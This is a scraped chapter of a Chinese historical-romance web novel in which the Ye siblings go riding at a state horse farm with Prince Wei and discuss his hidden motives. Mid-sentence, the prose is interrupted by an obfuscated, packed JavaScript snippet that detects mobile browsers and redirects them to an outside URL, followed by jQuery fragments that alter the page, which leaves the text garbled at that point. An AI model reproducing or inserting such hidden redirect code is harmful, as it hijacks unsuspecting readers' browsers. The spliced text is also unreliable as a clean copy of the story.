15. 马场-上
作品:《闻秋声》 恼人的秋雨终于停了,气温倏忽转凉,空气里的桂香味愈发浓甜,天高秋气浓,北风送寒露,夜里肃杀的秋风过后,庭内绿色的阔叶边缘爬满金纹,簌簌飘落一地。
前几日本是登高节,因着秋雨连绵,家中几人都未能出门同游,登高望远,所以天才一放晴,就收到了安定侯府的请帖,说是约着兄妹四人三日后去城外马场赛马骑射。
叶莺原本是不想去的,一来她本身对骑马射箭并不十分热衷,因为快马疾驰,狂风呼啸,很难保持贵女风度,再就是她与周择有些不对付,幼时周择觉得她过于娇气,她觉得周择性格恶劣,如今两人长大了也常常针锋相对,彼此呛声。
还是叶少京有办法,称此次叶莺若是失约,恐怕周择以后更是隔三差五提起,笑话她临阵脱逃,失信于人。叶莺哪里能忍受这个,当即表示定然按时赴约。
相约当日,众人约好辰时六刻启夏门见,叶家兄妹四人一早就整装收拾,骑马出门。
叶秋岳着曾青色圆领袍,叶少京着苔古色圆领袍,叶秋声叶莺姐妹二人俱是翻领窄袖袍,叶秋声着霜白色外袍,挽双髻簪金色排簪,额心还用叶莺送的胭脂点了个菊花花苞样式的花钿,叶莺则是着杏子色翻领外袍,挽交心单髻,玉色单簪,眉间金箔制成的飞鸟状花钿。
一行人自亲仁坊西坊门而出,沿着大道一路向南,正好就是启夏门,到了约定地点,周丛、周择兄弟二人已在城门外等候,见叶家兄妹四人策马驰来,笑着打过招呼后说还得再等等,因着马场赛马是魏王相邀,所以得等等魏王殿下。
周丛抽空给几人说明,原来是典厩署有一批各州县上缴的马匹,太仆寺的官员为了向魏王殿下示好,盛情邀请魏王前往马场观马赛马。
唐观复想到周丛定然是爱马惜马之人,二人甚是相熟,便邀请周家兄弟前往,周丛想着人多热闹,问询过唐观复意见,唐观复自然乐意之至,因此也一并邀请了叶家兄妹。
众人等候不过一刻钟,魏王身着鸦雏色云纹圆领袍出现,座下马儿四蹄小跑,另有护卫侍从七八人,后面还跟着辆双驾马车,待车驾驶至近前,众人这才看清是濮阳公主府的车驾。
“吁——”唐观复勒停骏马,向众人抱拳,歉意一笑,众人忙抱拳回礼,唐观复声音轻快,微笑致意,“诸位久等了,咱们这就出发。”
车帘被人自车内掀开,原来是陶乐姑娘坐在车驾里,看到众人欣喜不已,后又微带歉意地向众人解释,她自己不善骑马,路上为了不耽误大家时间,所以坐马车前去。
唐观复和周丛周择等人一道并行在前,其后是叶秋声、叶莺保持与马车一样的骑速,跟在马车两侧同车里的陶乐说话,侍卫随从骑马跟在最后。
众人年纪相仿,一路上说说笑笑,城外天高云淡,路上另有不少游人三五成群策马出游,自然也有如几人这般一行二三十人的,浩浩荡荡,热闹非凡。
很快就到了典厩署的马场,马场在京城东南方位,占地约千亩左右,蓄养着各州县上缴的马匹,太仆寺根据各宫各署所需进行分配。
魏王随从一马当先亮了腰牌,一行人还未行至官署便有人小跑来恭迎,自称是典厩署丞马祥,特意在此恭候魏王殿下,魏王殿下亲临令马场蓬荜生辉云云,众人客套几句后,称不敢耽误马大人公干,差个熟知马场的管事带众人四处走走即可。马大人唤来管事殷勤见礼后,唐观复差人先给陶乐找了匹温顺的母马,陶乐自马车换成骑马,众人才一道骑马向马场深处去。
马场内一片平坦,入目不远处是马厩还有马场官吏的休息房舍,众人需要先去马厩选马。
这个时节马场还是一片绿荫,一眼看不到头,与天相接的地方,三五马群都变成了黑点,天色一碧如洗,高不可攀,远处的终南山脉在云雾缭绕里若隐若现,空气里没有了城内的馥郁桂香,夹杂其中的是青草泥土味,还有风里的凉意。
几人一路上说说笑笑,周择兴起时问起自己送的生辰礼,“表姐,抄录的那套《策论》作为生辰礼可还满意?”
叶秋声点点头,“相当满意。”身在广阔的马场,心胸彷佛被空气沁染了朗阔之意,情绪格外饱满。
一旁的陶乐悄声说道:“原来前几日是你生辰啊,没赶上送你生辰礼呢。”
叶秋声柔声安慰道:“没关系,来日方长,以后有机会可以再送的。陶乐你生辰什么时候呀?到时候一定发帖给我们大家。”
陶乐羞涩又期待得点点头,表示有空一定邀请大家去公主府做客。
叶莺骑马挤入叶秋声身侧,大声宣布:“三姐,你明明说我送的最贵重!你今日的花钿是不是就是用我送的胭脂点的?”
叶秋声笑出声,忙安抚道,“对对对,你送的最贵重。”惹得一侧的叶秋岳跟叶少京大笑出声。
唐观复轻声问周丛:“前几日是三小姐生辰?”
周丛看着笑闹的众人,轻笑着点点头。
众人骑马至马厩,养马的小吏为众人尽心介绍舍中骏马,还贴心地附上贵人用得上的皮质手套。
马厩里俱是神骏,高大健壮,马头高峻,目如悬铃,平脊大腹,看得众人心血澎湃。
小吏称此处的骏马均经过驯服,贵人们可安心挑选,各人依据眼缘挑选了喜爱的神骏,叶秋声见一批枣骝色骏马神色清亮,四蹄厚重,就选了它,叶莺与陶乐挑花了眼,只觉每匹马都神骏非常,难以抉择。
叶秋声当先出了马厩,跨马挥鞭,只觉两耳生风,喘息间跑出几丈开外,几人提议比试赛马,叶秋声摇了摇头,周择见状表示也不参加比试,但可以作为评委,由自己和表姐为几人作见证。
叶秋声与周择左右各一侧,四人在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209361|197380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起点处蓄势待发,座下骏马“咴儿咴儿——”嘶鸣,周择一声令下,四人奔驰而出,疾如雷电,一阵风卷过一样,抬眼已在百尺之外。
见四人赛马远去,周择与叶秋声两马并排前行,周择下巴点了点四人的方向,“呐,你看,大哥和魏王形影不离,如今倒是比我更像亲兄弟。”
叶秋声笑道:“怎么,你还同魏王争风吃醋呢?”
“那倒不是,我总觉得魏王这人看不透。说他有所图谋吧,侯府既不像长公主权倾朝野,又不比左相门生遍布朝堂,要说拉拢,也拉拢不到我哥这,但要说没有图谋,但凡大哥休沐,两人几乎如影随形,性情相投也不至于到这份上吧。”周择试图分析道。
叶秋声点点头,换了个角度,“他如今刚回京城还未站稳脚跟就去拉拢长公主、左相,怕是还未开始搅弄风波就会被溺死。换作你是他,根基未稳,形势不明,上一辈有康王、长公主斗法相争,同辈还有个序齿在前、长居京城、母家强势的哥哥赵王,你会怎么做?”
“韬光养晦,坐山观虎斗。”周择迟疑了一瞬,给出自己的想法。
“我想也是,所以扮演一个闲散王爷,结识同辈中的新朋友,何乐而不为?”叶秋声看着远处,隐约间只能看到四个黑点,轻声赞叹。
“表兄有提过魏王法华寺被刺杀的事情吗?”叶秋声冷不丁出声扔出个消息。
周择点点头,“有提了一句,说刺客那边审不出来有用的消息,干脆后来就被送去京兆府那里了。”
“一个不受宠的皇子,只是奉旨回京,就在大庭广众之下被刺杀,要说欲置他于死地,偏偏刺客只有一人,刀上也没有淬毒,这不合常理。”叶秋声逐一分析唐观复被刺时察觉到的不合理之处。
周择听出她的言外之意,“所以这场刺杀,更像是一个警示,或者说,一场试探。”
叶秋声点点头,“最重要的线索还是在那刺客身上,你若有心探查,可以试试由此入手。”
周择偏头看她,有些不解,“你不好奇嘛?”
叶秋声盯着看着远处,叶莺骑马在陶乐身侧打转,陶乐骑马慢步,叶莺胳膊挥着圈给陶乐做示范,应该是在教陶乐怎么更好地勒缰转向,收回目光,看着周择解释道,“我也看不透这位殿下,看着宽和有礼,实则层层遮掩。”
“说起来,大哥送你的生辰礼是什么?”周择愉快地更换了话题。
“他没告诉你?”叶秋声转头看着周择,很意外周择居然不知道。
“他叫我把东西给他,说是一并装在礼盒里送到叶家”,周择摊了摊手,“我就把《策论》给他了,神神秘秘的,我哪里知道他准备了什么?”
“表兄送了一本游记。”叶秋声照实回答。
“一本游记而已,他到底在神秘个什么劲啊?”周择无奈,大声控诉。

